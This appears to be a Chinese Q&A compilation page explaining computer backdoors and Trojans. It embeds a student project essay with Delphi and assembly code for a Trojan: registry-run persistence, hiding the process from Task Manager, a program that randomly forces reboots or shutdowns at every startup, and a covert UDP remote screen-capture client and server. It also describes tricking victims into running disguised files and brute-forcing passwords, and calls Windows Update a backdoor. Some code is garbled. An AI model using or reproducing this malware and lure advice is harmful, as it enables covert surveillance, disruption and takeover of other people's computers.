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電腦網路後門什麼意思

發布時間:2023-12-08 05:35:19

1. 網路後門的功能是什麼

問題一:網路中後門是什麼意思? bac釘door
留下的隱藏程序
開啟特定埠,等待控制者隨時連接並對該電腦進行操作
後門是一個形象化的說法

問題二:7,網路後門的功能是() A

問題三:軟體有後門是什麼意思? 上面的人 你們懂不懂簡單點來說就是 寫軟體的人 為了某種目的 故意在軟體編寫的腳本中 留下一些 能夠為將來 對該軟體 或者使用該軟體的人 進行一些 不可告人的目的的操作故意編寫的一些 惡意編碼 為了將來的遠程式控制制 竊取信息 或者是 惡意破壞 比如 以前某反病毒公司 為了防止盜版 就在軟體中注入了 病毒程序 只要檢測到 該用戶沒有用正版 該病毒就發作 致使用戶電腦癱瘓 無法使用 就是典型的 後門程序~

問題四:黑客所說的後門是什麼?怎樣進入後門?用什麼軟體? 後門程序一般是指那些繞過安全性控制而獲取對程序或系統訪問權的程序方法。在軟體的開發階段,程序員常常會在軟體內創建後門程序以便可以修改程序設計中的缺陷。但是,如果這些後門被其他人知道,或是在發布軟體之前沒有刪除後門程序,那麼它就成了安全風險,容易被黑客當成漏洞進行攻擊。
後門程序又稱特洛依木馬,其用途在於潛伏在電腦中,從事搜集信息或便於黑客進入的動作。後門程序和電腦病毒最大的差別,在於後門程序不一定有自我復制的動作,也就是後門程序不一定會「感染」其它電腦。
還不錯,希望你採納。

問題五:後門是意思什麼 後門程序是入侵者普便使用的程序,後門程序又稱為:特洛伊木馬(Trojan Horse)。
「特洛伊木馬」埋森這一詞最早出先在希臘神話傳說中。相傳在3000年前,在一次希臘戰爭中,麥尼勞斯派兵討伐特洛伊,但逾年無法攻下。有人獻計製造一隻高二丈的大木馬假裝作戰馬神,攻擊數天後仍然無功,遂留下木馬拔營而去。城中得到解圍的消息,又得到「木馬」這個奇異的戰利品,全城飲酒狂歡。到午夜時,全城軍民盡入夢鄉,藏匿於木馬中的將士打開密門游繩而下,開啟城門四處縱火,城外伏兵湧入,焚屠特洛伊城。後來稱這只大木馬為「特洛伊木馬」,所以也就有了電腦里的特洛伊木馬。
特洛伊木馬有以下的特點:
● 主程序有兩個,一個是服務端,另一個是控制端。
● 服務端需要在主機執行,程序體積十分細小,執行時不會佔用太多資源,第一次執行後就會自動登錄在系統激活區,之後每次在 Windows 載入時自動執行。
● 一般特洛伊木馬程序都是隱蔽的進程,執行時很難停止它的活動。
● 當控制端連接服務端主機後,控制端會向服務端主機發出命令。而服務端主機在接受命令後,則會執行相應的任務。
在許多人眼中,特洛伊木馬是一種病毒。其實特洛伊木馬並不是一種病毒,它沒有完全具備病毒的特性。(包括:轉播,感染文件等。)
特洛伊木馬是指一個程序表面上在執行一個任務,實際上卻在執行另一個任務。入侵者的特洛伊木馬程序事先已經以某種方式潛入受害的機器中,並在適當的時候激活,潛伏在後台監視系統的運行。它同一般程序一樣能實現任何軟體的任何功能。例如,拷貝、刪除文件、格式化硬碟,甚至發電子郵件。典型的特洛伊木馬是竊取別人在網路上的賬號和口令,它有時在用戶合法登錄前偽造一個登錄現場,提示用戶輸入賬號和口令,然後將賬號和口令保存至一個文件中,顯示登錄錯誤,退出特洛伊木馬程序。用戶還以為自己輸錯了,再試一次時,已經是正常的登錄了,用戶也就不會有懷疑。其實,特洛伊木馬已完成了任務。更為惡性的特洛伊木馬則會對系統進行全面破壞。
特洛伊木馬最大的缺陷在於,必須先想方設法將木馬程序植入到用戶的機器中去。這也是為什麼建議普通用戶不要輕易地執行電子郵件中附帶程序的原因之一,因為特洛伊木馬可能就在含山你的滑鼠單擊之間悄然潛入到了你的系統之中。接下來我們將詳細介紹一些常用木馬的使用,了解一下入侵者是如何控制受害計算機的。

問題六:後門程序是什麼 打開了會怎樣 20分 通過後門可以完全控制你的電腦。盜取你的資料信息,監控你的攝像頭(前提是你的視屏鏈接在電腦上),遙控你的電腦成為網路僵屍的一員~~就和個傀儡差不多

問題七:計算機網路中,留後門的原則彎老畝是什麼? 沒有原則,
其實留後門和下馬都是一個道理,就是想叫自己
今後可以輕而易舉的進進出出,不過對於後門.
很多情況下都想到了「木馬」。也可以這么說。
不過道上稍微有些錠腦的人都知道,最隱秘、最
有效的後門不是在對方的機器上放什麼「馬」。
而是在對方的系統設置里動些手腳,在不安裝額外
程序的同時,給自己留一個方便。

問題八:什麼是軟體後門?每個軟體都有嗎 當一個訓練有素的程序員設計一個功能較復雜的軟體時,都習慣於先將整個軟體分割為若干模塊,然後再對各模塊單獨設計、調試,而後門則是一個模塊的秘密入口。在程序開發期間,後門的存在是為了便於測試、更改和增強模塊的功能。當然,程序員一般不會把後門記入軟體的說明文檔,因此用戶通常無法了解後門的存在。
/??按照正常操作程序,在軟體交付用戶之前,程序員應該去掉軟體模塊中的後門,但是,由於程序員的疏忽,或者故意將其留在程序中以便日後可以對此程序進行隱蔽的訪問,方便測試或維護已完成的程序等種種原因,實際上並未去掉。
這樣,後門就可能被程序的作者所秘密使用,也可能被少數別有用心的人用窮舉搜索法發現利用。

問題九:什麼是後門程序 後門程序一般是指那些繞過安全性控制而獲取對程序或系統訪問權的程序方法。在軟體的開發階段,程序員常常會在軟體內創建後門程序以便可以修改程序設計中的缺陷。但是,如果這些後門被其他人知道,或是在發布軟體之前沒有刪除後門程序,那麼它就成了安全風險,容易被黑客當成漏洞進行攻擊。與木馬的關系後門程序,跟我們通常所說的木馬有聯系也有區別.聯系在於:都是隱藏在用戶系統中向外發送信息,而且本身具有一定許可權,以便遠程機器對本機的控制.區別在於:木馬是一個完整的軟體,而後門則體積較小且功能都很單一.而且,在病毒命名中,後門一般帶有backdoor字樣,而木馬一般則是trojan字樣.具體含義後門程序又稱特洛依木馬,其用途在於潛伏在電腦中,從事搜集信息或便於黑客進入的動作。後門程序和電腦病毒最大的差別,在於後門程序不一定有自我復制的動作,也就是後門程序不一定會「感染」其它電腦。後門是一種登錄系統的方法,它不僅繞過系統已有的安全設置,而且還能挫敗系統上各種增強的安全設置。後門的類型後門包括從簡單到奇特,有很多的類型。簡單的後門可能只是建立一個新的賬號,或者接管一個很少使用的賬號;復雜的後門(包括木馬)可能會繞過系統的安全認證而對系統有安全存取權。例如一個login程序,你當輸入特定的密碼時,你就能以管理員的許可權來存取系統。後門能相互關聯,而且這個 技術被許多黑客所使用。例如,黑客可能使用密碼破解一個或多個賬號密碼,黑客可能會建立一個或多個賬號。一個黑客可以存取這個系統,黑客可能使用一些 技術或利用系統的某個漏洞來提升許可權。黑客可能使用一些技術或利用系統的某個漏洞來提升許可權。黑客可能會對系統的配置文件進行小部分的修改,以降低系統的防衛性能。也可能會安裝一個木馬程序,使系統打開一個安全漏洞,以利於黑客完全掌握系統。以上是在網路上常見的對「後門」的解釋,其實我們可以用很簡單的一句話來概括它:後門就是留在計算機系統中,供某位特殊使用都通過某種特殊方式控制計算機系統的途徑!――很顯然,掌握好後門技術是每個網路安全愛好者不可或缺的一項基本技能!它能讓你牢牢抓住肉雞,讓它永遠飛不出你的五指山!下文將以筆者從事網路安全多年的工作經驗為基礎,給廣大的網路初級安全愛好者講解一些網路上常 用的後門的種類和使用方法以及技巧,希望大家能在最短的時間內學習到最好的技術,提升自己的網路安全技術水平!後門的分類後門可以按照很多方式來分類,標准不同自然分類就不同,為了便於大家理解,我們從技術方面來考慮後門程序的分類方法:網頁後門此類後門程序一般都是伺服器上正常 的web服務來構造自己的連接方式,比如現在非常流行的ASP、cgi腳本後門等。線程插入後門利用系統自身的某個服務或者線程,將後門程序插入到其中,具體原理原來《黑客防線》曾具體講解過,感興趣的朋友可以查閱。這也是現在最流行的一個後門技術。擴展後門所謂的「擴展」,是指在功能上有大的提升,比普通的單一功能的後門有很強的使用性,這種後門本身就相當於一個小的安全工具包,能實現非常多的常駐見安全功能,適合新手使用――――但是,功能越強,個人覺得反而脫郭後門「隱蔽」的初衷,具體看法就看各位使用都的喜好了。c/s後門和傳統的木馬程序類似的控制方法,採用「客記端/服務端」的控制方式,通過某種特定的訪問方式來啟動後門進而控制伺服器。

問題十:為什麼軟體有後門?有什麼作用?如何給軟體製作後門?如何知道一個軟體有沒有後門? 5分 太專業的東西學了也沒用,除非你想當黑客,常殺毒,少看某些網站即可

2. 電腦網路中的「後門」是什麼意思

電腦網路中的「後門」即是網路的漏洞

一、問題的提出
"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."這是著名匿名伺服器站點Anonymizer上曾有過的一段話。是的,在不知不覺中,E時代已經到來,網路給我們的生活增添了絢麗與多彩。但是,在這五彩繽紛的世界下面,潛伏著一股黑潮暗流--黑客(HACKER)。這個名詞越來越引起世人的關注,而且影響越來越大,關於黑客事件的報道也越來越多。黑客是伴隨網路產生成長的,是指那些對電腦和網路有狂熱興趣的人,他們不斷的研究電腦和網路知識,發現電腦和網路中的漏洞,喜歡挑戰高難度的網路系統,千方百計的尋找網路中的大小漏洞,然後向網路管理員提出解決漏洞的建議。真正的黑客大多是賦有正義感的。他們不會惡意侵入他人系統,並且破壞系統程序和數據。但有一些人特別崇拜黑客,喜歡利用電腦網路四處搗亂,到處尋找黑客軟體,然後到處搞破壞,這類人應該是網路上最危險的傢伙。現在的媒體把這類人是黑客混為一談,"黑客"一詞也因此成了貶義詞。
現在的黑客軟體十分多,Back Orific、冰河、YAI到處都有。接觸網路後,我經常想:黑客軟體到底是如何編制的?我能編一個黑客軟體多好呀!這到不是想干壞事,因為在網路機房上課時,用一些黑客軟體可以作為控制工具來控制學員的機器(如:冰河)。可見黑客軟體本身不象病毒是個不好的東西,是可以用在正路上的。經過我的摸索,初步掌握了一些設計方法,主要是特洛伊木馬程序。本次畢業設計,我設計一個模擬黑客入侵程序,一個惡作劇程序,一個可以截獲網路上別人在機器上幹些什麼的程序,幾個程序純屬用於實驗,沒有什麼其它目的。在這里向各位老師匯報一下。程序設計的語言用的是PASCAL,用DELPHI 4進行編譯。

二、"特洛伊木馬"如何入侵系統
一個完整的"特洛伊木馬"一般分為兩個部分:一個是客戶服務程序(Client),用它來控制已經打開"後門"的機器;另一個是"後門"程序,用它來開放某台機器。假設我們想控制某台電腦,那麼我們通過一些手段來把"後門"程序傳到該電腦中並使其運行,這樣該電腦就變成了一台特殊的FTP伺服器。然後我們使用Client程序就可以控制該電腦了。當然,後門程序如果不運行也就無法發揮作用。因此,就要"誘騙"別人使用後門程序。如果是朋友或熟人,利用他們的信任讓他運行就行了;要是陌生人,可以在聊天室中和他們套近乎,一旦取得信任,把程序發給他們,誘騙其運行。當然,程序要隱蔽一些,例如可以把後門程序改名,變為README之類,或改變後綴,變成GIF、BMP等,當他們雙擊這些文件後就上了"賊船"了。也可以用WINZIP的把後門程序和一些東西製作成一個自解壓包,然後利用設定解壓後自動運行SETUP程序功能來運行指定的後門程序。總之,要利用一切手段使人家運行後門程序。
木馬程序運行後,會通過不同的方式修改系統,以便以後啟動系統後自動運行木馬。修改方法一般是通過修改注冊表:
Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的項目是在系統開機時自動載入的,我們可以在這兩添加鍵值,達到自動啟動的目的。以下的這段代碼可以修改注冊表,並調用API函數判斷系統目錄,復制文件到其下,以實行入侵系統的目的:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,registry;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procere Button1Click(Sender: TObject);
procere Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procere TForm1.Button1Click(Sender: TObject);
var
regf:tregistry;
sysdir:pchar;
temp:string;
begin
getmem(sysdir,256);
getsystemdirectory(sysdir,128);
temp:=sysdir+'\client.exe';
freemem(sysdir,256);
regf:=tregistry.create;
regf.rootkey:=hkey_local_machine;
regf.openkey('software\microsoft\windows\currentversion\run',true);
regf.writestring(' ',temp);
regf.free;
file(pchar('hacker.exe'),pchar(temp),true);
end;

procere TForm1.Button2Click(Sender: TObject);
begin
close;
end;
end.

也有些高明的程序可以感染系統文件,附著在這些程序文件中,以達到其目的。我還沒有搞清楚這是怎樣辦到的。
在Windows中按下Ctrl+Alt+Del可以顯示當前運行的程序,這樣一來,我們的木馬程序不是要露餡了嗎?以下這段匯編代碼可以很方便的嵌入DELPHI或C++中,讓別人看不到你的程序,可以很好的隱藏:
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
為什麼這段匯編代碼可以隱藏程序呢?據資料分析:在WINDOWS 9X載入應用程序時,FS指向的段就是類似於DOS應用程序的PSP,裡面保存著一些有關應用程序重要數據,按下Ctrl+Alt+Del後,對於一個應用程序,若沒有可顯示的ENABLE窗口的名字,則系統要檢查上面程序段中的特定雙字是不是10800000h,如果是就不顯示這個應用程序的可執行文件的名字。
下面是一個惡作劇的程序,入侵計算機後,每次開機後,隨機出現滑鼠亂跑並發出怪叫、熱啟動、強行關機的現象,讓你無法進入WINDOWS 9X。對於一般的計算機用戶來說,因為找不出這個程序在何處,所以只能格式化系統區,重新安裝系統。

program hacker;
uses
windows;
var temp:integer;
begin
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
randomize;
temp:=random(3);
if temp=0 then
while(true) do
begin
messagebeep(0);
SetCursorPos (random(640),random(480));
end
else if temp=1 then
ExitWindowsEx(EWX_REBOOT,0)
else ExitWindowsEx(EWX_SHUTDOWN,0);
end.

有的木馬為了防止發現後被清除,在啟動時會產生一個備份,一般是感染WINDOWS的系統文件,當木馬被發現並清除後,備份會自動激活,使你依然處於遠程黑手的控制。比如當前國最盛行的"冰河",首先會修改注冊表的啟動項目,將自己復制兩份到系統中,分別為KERNEL32.EXE和SYSEXPLE.EXE,並且修改TXT文件的打開方式,一旦KERNEL32.EXE被刪除,那麼當打開一個TXT文件時,SYSEXPLE.EXE將再產生一個KERNEL32.EXE文件。
另外,有的木馬還能在運行後修改文件名,或者復制感染系統後,進行自我銷毀,使用戶很難進行查找。

三、木馬的種類
1、破壞型
惟一的功能就是破壞並且刪除文件,可以自動的刪除電腦上的DLL、INI、EXE文件。
2、密碼發送型
可以找到隱藏密碼並把它們發送到指定的信箱。有人喜歡把自己的各種密碼以文件的形式存放在計算機中,認為這樣方便;還有人喜歡用WINDOWS提供的密碼記憶功能,這樣就可以不必每次都輸入密碼了。許多黑客軟體可以尋找到這些文件,把它們送到黑客手中。也有些黑客軟體長期潛伏,記錄操作者的鍵盤操作,從中尋找有用的密碼。
在這里提醒一下,不要認為自己在文檔中加了密碼而把重要的保密文件存在公用計算機中,那你就大錯特錯了。別有用心的人完全可以用窮舉法暴力破譯你的密碼。利用WINDOWS API函數EnumWindows和EnumChildWindows對當前運行的所有程序的所有窗口(包括控制項)進行遍歷,通過窗口標題查找密碼輸入和出確認重新輸入窗口,通過按鈕標題查找我們應該單擊的按鈕,通過ES_PASSWORD查找我們需要鍵入的密碼窗口。向密碼輸入窗口發送WM_SETTEXT消息模擬輸入密碼,向按鈕窗口發送WM_COMMAND消息模擬單擊。在破解過程中,把密碼保存在一個文件中,以便在下一個序列的密碼再次進行窮舉或多部機器同時進行分工窮舉,直到找到密碼為止。此類程序在黑客網站上唾手可得,精通程序設計的人,完全可以自編一個。
3、遠程訪問型
最廣泛的是特洛伊馬,只需有人運行了服務端程序,如果客戶知道了服務端的IP地址,就可以實現遠程式控制制。以下的程序可以實現觀察"受害者"正在干什麼,當然這個程序完全可以用在正道上的,比如監視學生機的操作。
程序中用的UDP(User Datagram Protocol,用戶報文協議)是網際網路上廣泛採用的通信協議之一。與TCP協議不同,它是一種非連接的傳輸協議,沒有確認機制,可靠性不如TCP,但它的效率卻比TCP高,用於遠程屏幕監視還是比較適合的。它不區分伺服器端和客戶端,只區分發送端和接收端,編程上較為簡單,故選用了UDP協議。本程序中用了DELPHI提供的TNMUDP控制項。

受控機程序部分:
讓控制項CUDP監視受控機的1111埠,當有數據發送到該口時,觸發控制項CUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為2222,當控制項CUDP發送數據時,將數據發送到主控機的2222口。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ComCtrls;

type
Tclient = class(TForm)
cudp: TNMUDP;
Animate1: TAnimate;
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;

var
client: Tclient;

implementation
const bufsize=2048;//發送每一批數據的緩沖區大小
var
bmpstream:tmemorystream;
leftsize:longint;
{$R *.DFM}

procere screencap(leftpos,toppos,rightpos,bottompos:integer);
var
recwidth,recheight:integer;
sourcedc,destdc,bhandle:integer;
bitmap:Tbitmap;
begin
recwidth:=rightpos-leftpos;
recheight:=bottompos-toppos;
sourcedc:=createdc('display','','',nil);
destdc:=createcompatibledc(sourcedc);
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);
selectobject(destdc,bhandle);
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,src);
bitmap:=tbitmap.Create;
bitmap.Handle:=bhandle;
bitmap.SaveToStream(bmpstream);
bmpstream.Position:=0;
leftsize:=bmpstream.Size;
bitmap.Free;
deletedc(destdc);
releasedc(bhandle,sourcedc);
end;

procere Tclient.FormCreate(Sender: TObject);
begin
bmpstream:=tmemorystream.create;
end;

procere Tclient.FormDestroy(Sender: TObject);
begin
bmpstream.free;
end;

procere Tclient.cudpDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
ctrlcode:array[0..29] of char;
buf:array[0..bufsize-1] of char;
tmpstr:string;
sendsize,leftpos,toppos,rightpos,bottompos:integer;
begin
cudp.ReadBuffer(ctrlcode,numberbytes);//讀取控制碼
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
then
begin//控制碼前4位為"SHOW"表示主控機發出了截屏指令
if bmpstream.Size=0 then//沒有數據可發,必須截屏生成數據
begin tmpstr:=strpas(ctrlcode);
tmpstr:=(tmpstr,5,length(tmpstr)-4);
leftpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
toppos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
rightpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
bottompos:=strtoint((tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));
screencap(leftpos,toppos,rightpos,bottompos);//調用截屏函數
end;
if leftsize>bufsize then sendsize:=bufsize
else sendsize:=leftsize;
bmpstream.ReadBuffer(buf,sendsize);
leftsize:=leftsize-sendsize;
if leftsize=0 then bmpstream.Clear;
cudp.RemoteHost:=fromip;//FROMIP為主控機IP地址
cudp.SendBuffer(buf,sendsize);//將數據發到主控機的2222埠
end;
end;
end.

主控機程序部分:
讓控制項SUDP監視主控機的2222埠,當有數據發送到該口時,觸發SUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為1111,當控制項SUDP發送數據時,將數據發到受控機的1111口。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons, NMUDP;

type
Tsever = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
BitBtn1: TBitBtn;
Image1: TImage;
BitBtn2: TBitBtn;
sudp: TNMUDP;
procere BitBtn2Click(Sender: TObject);
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere BitBtn1Click(Sender: TObject);
procere sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;

var
sever: Tsever;

implementation
const bufsize=2048;
var
rsltstream,tmpstream:tmemorystream;
{$R *.DFM}

procere Tsever.BitBtn2Click(Sender: TObject);
begin
close;
end;

procere Tsever.FormCreate(Sender: TObject);
begin
rsltstream:=tmemorystream.create;
tmpstream:=tmemorystream.create;
end;

procere Tsever.FormDestroy(Sender: TObject);
begin
rsltstream.free;
tmpstream.free;
end;

procere Tsever.BitBtn1Click(Sender: TObject);
var
reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
tmpstream.Clear;
rsltstream.Clear;
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;

procere Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
var reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
sudp.ReadStream(tmpstream);
rsltstream.CopyFrom(tmpstream,numberbytes);
if numberbytes<bufsize then
begin
rsltstream.Position:=0;
image1.Picture.Bitmap.LoadFromStream(rsltstream);
tmpstream.Clear;
rsltstream.Clear;
end
else
begin
tmpstream.Clear;
reqcode:='show';
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
end;
end.

四、如何預防黑客
黑客程序雖然破壞大,但不是不能防止的。
1、處理好你的密碼
我們一般是用賬號和密碼來上網的,密碼的設置無疑是十分講求技巧的,許多人的安全防範意識差,不注意密碼的設置,造成自己的賬號被盜用。如今的黑客軟體都是掛上密碼字典,然後用窮舉法進行破解,密碼太簡單,那麼破解的可能性就大了。以下是一些注意事項。
⑴ 密碼不可和賬號相同,這是最容易被猜到的了。
⑵ 經常更改密碼,拿到新賬號後要立即更改密碼,不要放久了。
⑶ 密碼最好多於8個字元,字元越長,破解難度越大。例如WORD文檔的密碼大於8位後,目前的破解軟體幾乎無法攻破。另外,最好在密碼中加入一些控制鍵,增加破譯難度。千萬不可用單一的字母或數字。
⑷ 有人喜歡用自己的生日、電話、身份證號碼等作為密碼,你不要這樣做。
⑸ 密碼盡量不要記顯眼的紙張上,更不能保存在計算機中,不要貪圖一時方便,用WINDOWS提供的保存密碼功能。
2、不要運行不明真相的程序
無論都高明的黑客程序,只要你不去運行它,就無法害到你。所以,不可相信網友的話,不要去運行他提供的程序;不要隨意去打開別人寄來的附件,無論他把附件中的圖片或影片吹得如何好看;要到大的、著名的網站去下載軟體,千萬不要到不明真象的個人網頁下載,因為在那兒你可能下載的病毒和黑客之手;如果你十分羨慕黑客,也請你不要下載所謂的黑客軟體,否則你沒害到別人,自己反被害了;如果你的機器上有防火牆,在上網時一定要打開,不要怕麻煩。
3、經常檢查系統信息
上網過程中,突然覺得計算機工作不對勁時,彷彿感覺有人在遙遠的地方遙控你。這時,你必須及時停止手中工作,運行"附件→系統工具→系統信息",在任務列表中尋找自己不熟悉的或者自己並沒有運行的程序,一旦找到程序後應立即終止它的運行,以防後患。
4、最好不去聊天室
我一直認為聊天室沒有什麼意思,特別對於計算機專業人員,聊天只是浪費時間和金錢,有些惡意的破壞者利用網上聊天室的漏洞干壞事,例如聊天室支持JAVA、HTML等功能,然而,這小小的JAVA也隱藏"殺機",他可以發給你一個足以讓你的機器當機的HTML語句。因為這些語句是不會在聊天室顯示出來的,所以你被暗算了可能還不知道。防治的辦法是在你的瀏覽器中關閉你的JAVA腳本。想聊天的,在公共機房聊聊算了,不能在自己的機器上聊天。

3. 電腦後門是什麼意思

電腦後門是指那些繞過安全性控制而獲取對程序或系統訪問權的程序方法。

在軟體的開發階段,程序員常常會在軟體內創建後門程序以便可以修改程序設計中的缺陷。但是,如果這些後門被其他人知道,或是在發布軟體之前沒有刪除後門程序,那麼它就成了安全風險,容易被黑客當成漏洞進行攻擊。

後門程序不僅繞過系統已有的安全設置,而且還能挫敗系統上各種增強的安全設置。而且在病毒命名中,後門一般帶有backdoor字樣,而木馬一般則是Trojan字樣。

著名後門

最著名的後門程序,該算是微軟的Windows Update了。Windows Update的動作不外乎以下三個:開機時自動連上微軟的網站,將電腦的現況報告給網站以進行處理,網站通過Windows Update程序通知使用者是否有必須更新的文件,以及如何更新。

如果針對這些動作進行分析,則「開機時自動連上微軟網站」的動作就是後門程序特性中的「潛伏」,而「將電腦現況報告」的動作是「搜集信息」。

因此,雖然微軟「信誓旦旦」地說它不會搜集個人電腦中的信息,但如果我們從Windows Update來進行分析的話,就會發現它必須搜集個人電腦的信息才能進行操作,所差者只是搜集了哪些信息而已。

4. 計算機後門的作用包括

後門的主要功能有:使系統管理員無法阻止種植者再次進入系統:使種植者在系統中不易被發現:使種植者進入系統花最少時間。

後門工具則是有些軟體程序員有意識地設計了後門程序,作為惡意信息傳播過程中的「內應」。後門程序更像是潛入電腦中的小偷,允許不法分子繞過常規的鑒定程序訪問電腦。

後門程序又稱特洛伊木馬,其用途在於潛伏在電腦中,從事收集信息或便於黑客進入的動作。後程序和電腦病毒最大的差別,在於後門程序不一定會「感染」其他電腦。

總的來說後門就是留在計算機系統中,供某位特殊使用都通過某種特殊方式控制計算機系統的途徑。很顯然,掌握好後門技術是每個網路安全愛好者不可或缺的一項基本技術。



(4)電腦網路後門什麼意思擴展閱讀

後門能相互關聯,而且這個技術被許多黑客所使用。例如,黑客可能使用密碼破解一個或多個賬號密碼,黑客可能會建立一個或多個賬號。

一個黑客可以存取這個系統,黑客可能使用一些 技術或利用系統的某個漏洞來提升許可權。黑客可能會對系統的配置文件進行小部分的修改,以降低系統的防衛性能。也可能會安裝一個木馬程序,使系統打開一個安全漏洞,以利於黑客完全掌握系統。

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